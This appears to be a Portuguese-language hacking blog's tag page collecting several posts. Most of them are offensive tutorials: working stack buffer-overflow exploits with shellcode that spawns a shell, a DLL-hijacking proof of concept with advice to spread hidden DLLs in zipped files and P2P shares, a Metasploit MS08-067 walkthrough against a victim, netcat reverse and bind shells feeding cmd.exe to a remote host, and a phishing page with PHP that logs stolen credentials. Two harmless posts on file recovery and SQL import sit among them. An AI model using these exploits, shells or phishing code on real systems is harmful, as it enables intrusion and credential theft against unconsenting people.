Mostrando postagens com marcador Windows. Mostrar todas as postagens
Mostrando postagens com marcador Windows. Mostrar todas as postagens

quinta-feira, 7 de novembro de 2013

Tutorial: Usando nmap para listar plugins do WordPress

Olá visitante,

Dessa vez vou mostrar como usar a poderosa ferramenta do nmap para listar plugins instalados em uma instalação do wordpress

nmap --script=http-wordpress-plugins --script-args http-wordpress-plugins.root="/blog/", http-wordpress-plugins.search=500 <targets>
O Resultado será uma lista com os plugins que foram localizados na instalação do wordpress.

Legenda:
 <targets> é o ip do site que você quer listar os plugins.

[ Tutorial ] Exploitando Memória Adjacente

1 - Introdução
2 - O Problema 
3 - A Exploitacao 
4 - Expansão do Conceito
5 - Terminando 
 5.1 - Links e Referencias
 5.2 - Considerações Finais 
 5.2 - Agradecimentos
Os ataques de Buffer Overflows parecem que ainda perdurarao por algum tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca, os exemplos de condições de overflow permanecem como uma "constante" entre os aplicativos de um modo geral.

Ate onde eu conheço, o conceito de buffer overflow eh apenas um, no entanto, as técnicas para implementação deste conceito são diversas. E ate onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a expandir para as massas o conceito de buffer overflows. Desde o worm (Robert Morris, 1988) ate os nossos dias, muitos programadores tem procurado diminuir as condições de buffer overflows em programas que manipulam parâmetros recebidos de um usuário, substituindo funcoes conhecidas como vulneraveis(strcpy, gets, sprintf) por funções que necessariamente fazem checagem do tamanho dos parâmetros recebidos (strncpy, snprintf, etc).

No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto uma técnica capaz de exploitar espaços de memoria adjacente, especificamente o manuseio incorreto das funções ditas seguras(strcnpy, por exemplo). As Analises de código-fonte(auditoria) passaram agora a incluir todo tipo de funções, demonstrando assim que nao basta apenas a funcao fazer a checagem do tamanho dos parametros, mas outros fatores passaram a ser essenciais.

Neste documento abordaremos esta técnica. Conhecimentos em C, Assembly (AT&T), escrita de exploits(ver docs da Unsek Scene) e Linux se fazem necessários. E principalmente mentalidade fuçadora!

O problema
Podemos descrever basicamente o problemas com as funções ditas seguras (strncpy, strncat, etc) eh que elas não são capazes de terminar automaticamente os buffers ou strings com um NULL. Como assim?


Vejamos nosso primeiro código inicial:

/* Exemplo de strncpy()*/
#include <stdio.h>
#include <string.h>
 int main(int argc, char *argv[]){ char buffer[256];
 /* Iremos copiar argv[1] para buffer e imprimir */ strncpy(buffer,argv[1],sizeof(buffer));
 /* Iremos imprimir o tamanho da string recebida em argv[1] */ printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer)); return 0; }


Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256

A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256

Como podemos notar strlen() contem um tamanho superior ao esperado. Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando o programa abaixo:
/* Exemplo 2 de strncpy() */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){ char buffer1[20], buffer2[8];
 /* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
 /* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
 /* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2); return 0; }

Executando este programa, teoricamente deveríamos ter a saída de buffer2, ou seja, uma string contendo 8 caracteres.Mas vejamos:

kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon

NashLeonNashLeon Possue 16 caracteres.
No mais a gente pode brincar com isso:

kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@

Ele imprime justamente porque o strncpy() não encontrou o caracter NULL como esperava. Com menos de 8 caracteres, poderíamos ter:

kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo

Ou seja, a execução e impressão em modo normal e esperado, ja que temos um NULL na string indicando o termino dela. O stack nesse caso iria parecer como:

Memoria Alta || ---------------->
[Topo do Stack] || ---------------->
[ 'N' (buffer2 - 0) ] || ---------------->
 [ 'a' (buffer2 - 1) ] || ---------------->
 [ 's' (buffer2 - 2) ] || ---------------->
 [ 'h' (buffer2 - 3) ] || ---------------->
[ 'L' (buffer2 - 4) ] || ---------------->
 [ 'e' (buffer2 - 5) ] || ---------------->
[ 'o' (buffer2 - 6) ] || ---------------->
 [ 'n' (buffer2 - 7) ] || ---------------->
 [ 'N' (buffer1 - 0) ] || ---------------->
 [ 'a' (buffer1 - 1) ] || ---------------->
[ 's' (buffer1 - 2) ] || ---------------->
 [ 'h' (buffer1 - 3) ] || ---------------->
 [ 'L' (buffer1 - 4) ] || ---------------->
 [ 'e' (buffer1 - 5) ] || ---------------->
 [ 'o' (buffer1 - 6) ] || ---------------->
[ 'n' (buffer1 - 7) ] || ---------------->
[ 'U' (buffer1 - 8) ] || ---------------->
 [ 'n' (buffer1 - 9) ] || ---------------->
[ 's' (buffer1 - 10) ] || ---------------->
[ 'e' (buffer1 - 11) ] || ---------------->
 [ 'k' (buffer1 - 12) ] || ---------------->
 [ 0x00 (buffer1 - 13) ] || || ... \/

Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na seção abaixo.

A Exploitação

Este problema pode ser exploitado de inúmeras maneiras. Dependendo do nível do atacante, ele pode se aproveitar ate mesmo do exemplo inicial postado neste documento. Como este e todos os meus documentos visam NewBies, veremos inicialmente o exemplo mais trivial de se exploitar este problema.

Como vimos no exemplo acima, strlen() tende a ser maior do que o esperado quando enchemos um buffer e strncpy() nao encontra um NULLinteracao de funcoes.

Vejamos abaixo uma possivel implicacao disso:



 /* Exemplo inicial de programa vulneravel
 * Documento sobre problemas com memoria adjacente
 * Nash Leon - nashleon@yahoo.com.br. *
#include <unistd.h>
int bugada(char *buffer);
int main(int argc,char *argv[])
{
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2); return 0;
}
 int bugada(char *buffer){ char buf3[300]; int i;
/* note que buf3 suporta 300 bytes enquando
 * buf2(buffer) teoricamente deveria conter no maximo
 * 256. */
 for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i];
}
}
#include <stdio.h> 

Para exploitarmos este programa, não tem muito segredo. Vamos encher o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas com o endereço de retorno. Existem inumeros esquemas em cima disso, em alguns casos, partindo o shellcode ou manipulando NOPs, enfim, vejamos o exploit abaixo:

/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */ char shellcode[] =   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){ __asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0; unsigned long retaddr; if(argc < 2){ printf("Uso: %s <offset>\n",argv[0]); exit(0); } offset = atoi(argv[1]); memset(buff1,0x90,sizeof(buff1)); memcpy(buff1+100,shellcode,strlen(shellcode)); retaddr = get_sp() + offset; for(i=0; i< LENBUFF2; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; } printf("Usando Retorno: 0x%x\n", retaddr); execl("./v","./v",buff1,buff2,NULL); }
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#

Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo ate mesmo para evitar o uso de offsets. Outro possível esquema pode obedecer o seguinte modelo descrito pelo twitch na Phrack 56:

Apos a execução de strncpy(), buf2 deve parecer com:

Código: 
[ 0 ......................................................... 512 ] -------------------------------------------------------------------- | | | | offset_para_shellcode | Um monte de lixo(NULL, NOPs) | | | | -------------------------------------------------------------------- E buf1 deve parecer com: [ 0 .......................................................... 256 ] -------------------------------------------------------------------- | | | | | Cadeia de NOP's | shellcode | Mais NOP's | | | | | --------------------------------------------------------------------
Logo, para este esquema poderíamos ter o seguinte exploit:

Código:
/* Segundo exemplo de exploit para * strcnpy() - Espaco de Memoria Adjacente. * Desenvolvido por Nash Leon p/ tutorial. * nashleon@yahoo.com.br */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #define LENBUFF1 256 #define LENBUFF2 512 /* Shellcode Padrao */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Captura o Stack Pointer */ unsigned long get_sp(void){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[]) { char buff1[LENBUFF1]; char buff2[LENBUFF2]; int i, offset = 0; unsigned long retaddr; if(argc < 2){ printf("Uso: %s <offset>\n",argv[0]); exit(0); } offset = atoi(argv[1]); memset(buff1,0x90,sizeof(buff1)); memcpy(buff1+100,shellcode,strlen(shellcode)); retaddr = get_sp() + offset; memset(buff2,0x90,sizeof(buff2)); for(i=0; i< LENBUFF2 - 360; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; } printf("Usando Retorno: 0x%x\n", retaddr); execl("./v","./v",buff1,buff2,NULL); }
Executando:

kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#

Bom, como podemos perceber não há muito problema em exploitar este tipo de problema. Mas podemos ir mais alem.

4 - Expansão do Conceito

Qualquer função que manipula strings a espera de um caracter NULL para "encerrar" a string pode estar vulnerável a este tipo de problema. Vimos no exemplo acima, strncpy(), uma função que eh muito usada, mas podemos ir mais alem.

As seguintes funções também podem apresentar problemas:

Código:
fread() read() [ read(), readv(), pread() ] memcpy() memccpy() memmove() bcopy() for(i = 0; i < MAXSIZE; i++) buf[i] = buf2[i]; gethostname() strncat()
e etc.

Hoje em dia, a que mais chama a atencao eh a for().

Vejamos o exemplo abaixo:

Código:
/* Exemplo de programa vulneravel em for(). * Documento sobre problemas com memoria adjacente * Nash Leon - nashleon@yahoo.com.br. */  #include <stdio.h> #include <unistd.h> #define MAXSIZE 256 int bugada(char *buffer); int main(int argc,char *argv[]) { char buf1[MAXSIZE]; char buf2[MAXSIZE]; char *pam; int i; pam = argv[1]; /* Copiamos conteudo de argv[1] para buf1 */ for(i = 0; i < MAXSIZE; i++){ buf1[i] = pam[i]; } for(i =0; i < MAXSIZE; i++){ buf2[i] = buf1[i]; } bugada(buf2); return 0; } int bugada(char *buffer){ char buf3[MAXSIZE]; int i; for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i]; } }
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Program Recebido signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.

Terminando

Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.

Para impedir que os buffers sejam usados em condicoes de overflow
pela funções, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:

#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...

ou então ja evitar quais problemas na própria função receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...


Creditos : NASH LEON

quinta-feira, 24 de janeiro de 2013

Windows DLL Hijacking

 Introdução

Hi.
Venho-lhes trazer uma matéria que escrevi há quase um ano, logo quando saiu o bug de DLL Hijacking. Hoje em dia a falha é pouco comentada e os programadores já tomam mais cuidado com ela, mas deixarei a matéria aqui a nível de conhecimento.
Esta é a tal falada falha que afetou diversos aplicativos famosos, incluindo uma grande parte dos softwares do pacote Office e browsers como Opera e Firefox em 2010.

 Hack It!

A falha conhecida como DLL Hijacking existe graças à um mau funcionamento do Windows, e até que eu saiba, afeta todas as versões. Deve ser utilizada juntamente com SEing, pois precisamos saber qual o software que a possível vítima utiliza. Em breve, veremos o porque.

Ao explorar um aplicativo, como por exemplo, um player de música, conseguimos executar um código desejado apenas inserindo um arquivo .dll no mesmo diretório do arquivo *.mp3. Ou seja, se mandarmos uma pasta zipada com alguns arquivos de áudio e uma DLL "escondida" no meio, ao abrir qualquer arquivo de áudio, o player executará a DLL apenas por estar no mesmo diretório.

O nome da *.dll que deve ficar no mesmo diretório do arquivo a ser aberto varia de acordo com o software a ser explorado. Há algumas tools para explorar como o DLL Hijack Audit Kit do projeto Metasploit, o DLL Hijack Auditor do SecurityXploded ou uma ferramenta qualquer de debugging. Em breve, mostrarei o funcionamento de ambas as tools.

Agora, vou mostrar um exemplo do funcionamento da falha.
Ontem, fui brincar com o conhecido player Nullsoft "Winamp", na sua versão 5.5.8.2975.
O nome das DLLs que encontrei foram "rapi.dll" e "dwmapi.dll".

Agora, criarei um código simples para fazer o PoC:

/*
* Simple DLL Hijacking Exploit
* Tutorial por Júnior Moraes (fvox)
* www.forum-invaders.com.br
* Email: synyster@bsdmail.com
*/
#include <windows.h>
#include <stdio.h>
int fvox()
{
MessageBox(0, "u r owned", "DLL Hijacking", MB_OK);
FILE *fp;
fp = fopen("fvox.txt", "w");
fwrite("it works ;-)", 1, 12, fp);
fclose(fp);
exit(1);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
fvox();
return TRUE;
}
Ainda fazendo os testes no Winamp, vamos compilar a DLL e colocá-la no mesmo diretório de um arquivo *.mp3 com o nome de "dwmapi.dll".
Agora, vamos abrir o arquivo .mp3 com o Winamp. O que será que acontece?



Yeah! Apesar do arquivo *.mp3 ser realmente uma música normal, a DLL foi carregada. Como vocês puderam perceber, o MsgBox foi chamado e foi-se criado um arquivo de nome "fvox.txt" contento a frase "it works ;-)".

___________
. Ferramentas\_______________________________________


Como já disse anteriormente, é possível descobrir o nome da DLL a ser bugada via tools ou por um debugger.
O DLL Hijack Audit Kit executa um macro e abre diversos aplicativos de diversas extensões. Este macro age junto com um aplicativo externo (Process Monitor), que salva um logfile. Com este logfile, há um segundo script que verifica a falha em todos os aplicativos instalados no computador.

Já o DLL Hijack Auditor, verifica uma aplicação específica com base no diretório dela e nas extensões que a aplicação pode executar.

Mostrarei um exemplo utilizando a segunda tool.

Testarei no aplicativo Media Player Classic 1.3.1748.0, muito utilizado para ver filmes por possuir seu sistema de dual audio, etc.

No campo "Select Application", localizem o executável principal. No caso, localizei o arquivo mpc-hc.exe. No campo "Specify Extension", coloquem todas as extensões utilizadas pelo programa e cliquem em "Start Audit". Quando o programa parar de testar as extensões no programa, o botão "Exploit" vai estar liberado. =)
Como é apenas um exemplo, coloquei poucas extensões só para vocês terem uma noção.



Opa. Apareceu uma "dll" bugada chamada "vsfilter.lang". Mas a extensão não é uma DLL. Será que funciona?



É, dá para brincar! ;-)


_________
. Conclusão\_______________________________________


DLL Hijacking pode parecer uma falha boba, mas pode ser muito bem utilizada, tanto em rede quanto fora dela.
Na rede, vocês podem usar e abusar de pastas compartilhadas do Windows.
Na internet, vocês podem enviar arquivos zipados com a DLL bugada oculta, ou espalhar via p2p.

Basta utilizar sua imaginação e seu conhecido, e let's code! ;-)

Aqui vai uma lista de aplicativos que possuem a falha e suas respectivas DLLs bugadas:
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Creditos:
fvox.

segunda-feira, 28 de maio de 2012

Recuperando arquivos do pendrive


É muito fácil recuperar arquivos deletados dos cartões de memória, basta usar um programa pequeno e leve, que recupera as fotos apagadas, rapidinho!
Smart-Image-Recovery
Recupere as fotos de todos os tipos de cartões de memória, mantendo a qualidade original. É importante lembrar que você deve evitar sobrescrever o arquivo, evitando danificá-lo permanentemente.
Link para download confiável aqui O programa recupera dados em cartões de memóriapendrivescâmeras digitais e qualquer outro dispositivo portátil.
recuperar_fotos_cartao_memoria
Uma grande vantagem deste programa sobre outros similares, é que ele permite a recuperação de dados em partições NTFS e FAT, mesmo que as partições tenham sido formatadas.
Além das fotos, o programa também recupera: documentos, áudio e quaisquer outros tipos de arquivos que tenham sido deletados, mesmo que eles tenham sido excluídos da lixeira.
As rotinas e as ferramentas do programa são bem simples intuitivas, indicadas para usuários sem experiência neste tipo de recuperação. Esse programa roda em Windows NT, 2000, Millenium, XP e Vista.
Uma última dica: sempre faça backup de suas fotos, assim quando der algum problema, você garante que terá uma cópia de segurança.

Como importar arquivos SQL muito grandes para seu banco de dados

Após muitas tentativas frustadas de importar um aquivo .sql de 36,2mb via phpMyAdmin que sempre trava, por mais que eu aumentasse o max_size, parei para pensar um pouco. 

E se importasse diretamente no mySQL sem passar pelo phpMyAdmin?

Sim isto é possível, é muito mais fácil do que eu pensava, é tão fácil que estou até enrolando um pouco na introdução deste post antes de falar como faz, mas chega de enrolação, vamos lá: 

1. Acesse o prompt do mysql, como estou local pelo Wamp, clico no logo ao lado do relógio -> MySQL -> Console MySQL e informe a senha configurada para root, caso seja solicitado.

2. Acesse o Database ao qual deseja importar as tabelas. Caso esteja importando um .sql que irá criar o data-base ignore este passo.

3. Execute o comando source C:\dump_BD.sql 

Substitua o texto em itálico pelo local onde está seu arquivo .sql.

Pronto! No meu caso levou 10 segundos para que todas as instruções do arquivo .sql de mais de 36 mb foram importadas com sucesso.

Total de insert’s executados foi de 738.470 (setecentos e trinta e oito mil e quatrocentos e setenta registros)

Invadindo Windows XP com falha no NetApi

E agora, continuando minha jornada contra a Micro$oft, vamos explorar uma falha no Server Service (NetApi) que afeta desde o Windows 2000, passando pelo XP, Vista (...) e chegando no Server 2008.
Para ver detalhes sobre a falha no enorme boletim de segurança da Microshit, clique aqui.
Segundo o próprio boletim, "nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário." Em outras palavras, trata-se de um RComE (Remote Command Execution).
"Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008." Só lamento...
Lembrando que atualizar o sistema pode corrigir a vulnerabilidade. O problema é que 'usuários comuns' geralmente não atualizam. <s>Eu mesmo estou com kernel 2.6.32 até hoje.</s>

A falha em si
CVE-2008-4250. O serviço Servidor não manipula corretamente as solicitações de RPC, fazendo com que um invasor possa assumir total controle do sistema.
RPC (Remote Procedure Call/Chamada de Procedimento Remoto) é um serviço de computação distribuída que permite que um programa chame um procedimento em outro computador da rede. O aplicativo envia o sinal ao servidor, que devolve o retorno.

O NetApi (serviço Servidor) suporta impressão e compartilhamento de arquivos, discos e impressoras.
A manipulação pobre desses pacotes pode levar à uma execução de códigos DOS com privilégios totais.

Explorando
Uma versão atualizada do Metasploit já possui o exploit. Com o número CVE, dado acima, é possível encontrá-lo de forma separada no próprio site do Metasploit.
É uma exploração simples e rápida, que ocorre sem o consentimento da vítima. Neste exemplo, vamos usar o payload bind_tcp (meterpreter).

Abra o terminal e vamos verificar se conseguimos acessar a porta 445 do alvo.
Se você estiver com pressa, vale rodar TCPing nas portas 445 e 139, usadas pelo NetApi.

Código:

$ tcping ip.do.al.vo 445
Se você ver a seguinte mensagem:

Código:
ip.do.alvo port 445 open.
Você vai poder continuar o tutorial.
Com mais calma, execute um Nmap:

Código:
# nmap -sS -p139,445 -O ip.do.al.vo
Com isso veremos se as nossas queridas portas estão abertas, e também teremos o sistema operacional do alvo. Verifique se ele está na lista divulgada no Boletim de Segurança da Microsoft (link acima).

Abra a linha de comando do Metasploit:

Código:
# msfconsole
Agora, vamos 'usar' o exploit:

Código:
> use windows/smb/ms08_067_netapi
As opções também são poucas. Com um 'show options' você pode vê-las. Vamos setá-las:

Código:
> set rhost ip.do.al.vo
Setamos o endereço IP do alvo, seguido do payload (usamos o bind_tcp apenas como exemplo):

Código:
> set payload windows/meterpreter/bind_tcp
Se for usar remote_tcp, será necessário setar também LHOST (seu IP) e LPORT (uma porta para ser aberta).

Agora, o golpe final:

Código:
> exploit
Você verá o 'Started bind handler' seguida de várias mensagens de log.
Caso tudo ocorra bem, o que é provável, você pode digitar 'help' para ver o que é possível fazer. Por exemplo:

Código:
> shell
Você verá o MS-DOS do usuário na sua frente. A partir daqui, você assume sua responsabilidade.

Até a próxima!

Nova lei: Invadir computadores protegidos é crime.
Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

Creditos : White Collar

sexta-feira, 30 de março de 2012

NetCat - Conexão Reversa


Acessando um shell remoto

Conexão direta

O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc...

O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.

No micro que será acessado, abra o prompt de comando e digite o seguinte código:

nc -L -p 14 -vv -e cmd.exe

No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema.

Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:

nc IPdoservidor 14

Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:

nc 192.168.1.2 14

Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.

Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:

telnet 192.168.1.2 14

Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc...

Conexão reversa

A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?

Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:

O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.

Na primeira digite:

nc -L -p 14 -vv

Este comando fará o programa escutar de modo avançado na porta 14.

E na segunda:
nc -L -p 15 -vv

O comando fará o mesmo que o anterior, mas escutará a porta 15.
Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:

nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15

Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:

nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15

Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro.

Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:

Tutorial sobre Phishing


Tenho postado sobre phishing e o atacante utilizando técnicas para espalhar seus sites de phishing. Agora, vamos ver como eles criam essas páginas de phishing em primeiro lugar com o passo-a-passo. O Conhecimento de PHP e HTML será muito útil para criar páginas de login falso



1- Selecione um site de destino e navegue até a página de login.

2- Salve a página inteira indo em Arquivo-> Salvar como .. (Estou fazendo isso no Firefox .)

3- Você terá agora um arquivo HTML e uma pasta cheia de imagens e talvez alguns arquivos JavaScript. Renomeie o arquivo HTML para index.html e crie um outro arquivo chamado lista.txt. Este arquivo de texto irá realizar as credenciais de login das vítimas.

4- Crie um arquivo PHP com o nome “phish.php“

5- Cole o seguinte código para o arquivo PHP (phish.php) que você já fez. Este código é o que leva os detalhes de login e os armazena no arquivo “lista.txt“, e depois redireciona para o site real. Desta forma, o usuário vai pensar que ele colocou as informações de login errado e terá êxito, a segunda vez que ele for tentar se logar o site se redirecionara para o site real. Fazendo assim com que a vitima nem perceba que seus dados foram roubados.

<?php
Header("Location: http://www.linkdositeoriginal.com");
$handle = fopen("lista.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

6. Agora temos que apontar o formulário de login no arquivo HTML para o arquivo PHP (phish.php). Localize o código do formulário no arquivo HTML e alterar o link de ação para o arquivo PHP e do tipo de método decomeçar assim que as informações apresentadas são passados através da URL. O código HTML deve começar com algo como isto:

<form action = sitelink ” . com o método = “GET”>

altere para:

<form action = http://www.site.com/phish.php ” . com o método = “GET”>

Ou:

<form action = phish.php ” . com o método = “GET”>

7. Quando tudo estiver concluído, faça o upload dos arquivos para um webhost gratuito que suporte PHP.

8. Você acabou de criar uma página de phishing.
Autor: Diablos 4-Ever

NetCat - O Canivete suiço do TCP/IP


Vamos dar uma olhada nos comandos do netcat, a opção -H exibe as opções do programa. Basta digitar nc -h e dar enter. Veremos os principais comandos do netcat:
l = Coloca uma porta em estado de listenning(escuta)

L = Coloca uma porta em listenning(escuta), reabrindo a porta caso ela feche

P = Define uma porta

V = ativa o recebimento de eco

U = utiliza o protocolo UDP ao invés de TCP

T = para se conectar a TELNET

O = Gera um log em formato hexadecimal

W = Determina um tempo máximo para aguardar uma reposta

E = Redireciona arquivos.

D = Coloca o netcat em modo furtivo, ou seja, permanece carregado em memória.


Bem, agora que já conhecemos os comandos mais usados do netcat vamos a pratica:

Colocando uma porta em escuta:

Nc -l -p 8080 isso faria com que o netcat colocasse a porta 8080 em escuta, note que foi usado -v para que fosse mostrado a saída do programa na tela “listening on [any] 8080 …“, caso a opção -v não fosse inserida este texto não seria mostrado.

Fazendo um Port-Scanner com o netcat:

nc -vv 127.0.0.1 1-6550 isso faz um scanner da porta 1 à 6550 mais você também pode selecionar as portas que deseja escanear dando um espaço entre os intervalos de portas a ser escaneados ex: nc -vv 127.0.0.1 21 80 23 79 25 isso faria um scanner nas portas 80, 23, 79 e 25.

Fazendo um trojan com o netcat:

Note que basta redirecionar todo o trafego de uma porta enviando a cmd.exe se for windows e bin/bash.sh se for UNIX a sintaxe é a seguinte em sistemas windows nc -L -p 1024 -e cmd.exe e nc -l -p 1024 -e bin/sh em UNIX.

Fazendo um ataque de brute force com o netcat:

